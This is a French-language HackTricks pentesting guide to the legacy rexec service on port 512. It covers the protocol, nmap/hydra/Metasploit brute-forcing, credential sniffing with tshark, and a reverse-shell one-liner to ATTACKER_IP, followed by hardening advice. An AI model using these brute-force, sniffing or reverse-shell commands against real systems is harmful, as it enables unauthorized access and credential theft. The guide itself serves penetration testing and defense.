hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Informations de base
Rexec (remote **exec**) est l'un des services *r* originaux de Berkeley (avec `rlogin`, `rsh`, …). Il fournit une capacité de **commande à distance** **authentifiée uniquement avec un nom d'utilisateur et un mot de passe en clair**. Le protocole a été défini au début des années 1980 (voir RFC 1060) et est aujourd'hui considéré comme **insecure par conception**. Néanmoins, il est toujours activé par défaut dans certains équipements UNIX / connectés en réseau hérités et apparaît parfois lors de pentests internes.
**Port par défaut :** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Tout le trafic y compris les identifiants est transmis **non chiffré**. Quiconque a la capacité de renifler le réseau peut récupérer le nom d'utilisateur, le mot de passe et la commande.
### Aperçu rapide du protocole
1. Le client se connecte au TCP 512.
2. Le client envoie trois chaînes **terminées par NUL** :
* le numéro de port (en ASCII) où il souhaite recevoir stdout/stderr (souvent `0`),
* le **nom d'utilisateur**,
* le **mot de passe**.
3. Une dernière chaîne terminée par NUL avec la **commande** à exécuter est envoyée.
4. Le serveur répond avec un seul octet d'état de 8 bits (0 = succès, `1` = échec) suivi de la sortie de la commande.
Cela signifie que vous pouvez reproduire l'échange avec rien de plus que `echo -e` et `nc` :
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Si les identifiants sont valides, vous recevrez la sortie de `id` directement sur la même connexion.
### Utilisation manuelle avec le client
De nombreuses distributions Linux incluent encore le client hérité dans le package **inetutils-rexec** / **rsh-client** :
```bash
rexec -l user -p password <target> "uname -a"
```
Si `-p` est omis, le client demandera le mot de passe de manière interactive (visible sur le réseau en texte clair !).
---
## Énumération & Brute-forcing
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
Le `rexec-brute` NSE utilise le protocole décrit ci-dessus pour essayer des identifiants très rapidement.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` a un module **rexec** dédié et reste le bruteforceur hors ligne le plus rapide. `medusa` (`-M REXEC`) et `ncrack` (module `rexec`) peuvent être utilisés de la même manière.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Le module lancera un shell en cas de succès et stockera les identifiants dans la base de données.
---
## Sniffing credentials
Parce que tout est en texte clair, **les captures réseau sont inestimables**. Avec une copie du trafic, vous pouvez extraire des identifiants sans toucher à la cible :
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark, activez *Decode As …​* TCP 512 → REXEC pour voir les champs bien analysés.)
---
## Conseils post-exploitation
* Les commandes s'exécutent avec les privilèges de l'utilisateur fourni. Si `/etc/pam.d/rexec` est mal configuré (par exemple `pam_rootok`), des shells root sont parfois possibles.
* Rexec ignore le shell de l'utilisateur et exécute la commande via `/bin/sh -c <cmd>`. Vous pouvez donc utiliser des astuces d'échappement de shell typiques (`;`, ``$( )``, backticks) pour enchaîner plusieurs commandes ou créer des shells inversés :
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Les mots de passe sont souvent stockés dans **~/.netrc** sur d'autres systèmes ; si vous compromettez un hôte, vous pouvez les réutiliser pour un mouvement latéral.
---
## Renforcement / Détection
* **Ne pas exposer rexec** ; remplacez-le par SSH. Virtuellement tous les *inetd* superservers modernes commentent le service par défaut.
* Si vous devez le garder, restreignez l'accès avec des wrappers TCP (`/etc/hosts.allow`) ou des règles de pare-feu et imposez des mots de passe forts par compte.
* Surveillez le trafic vers :512 et les lancements de processus `rexecd`. Une seule capture de paquet suffit pour détecter une compromission.
* Désactivez `rexec`, `rlogin`, `rsh` ensemble ils partagent la plupart du même code et des faiblesses.
---
## Références
* Documentation Nmap NSE `rexec-brute` [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Module Rapid7 Metasploit `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}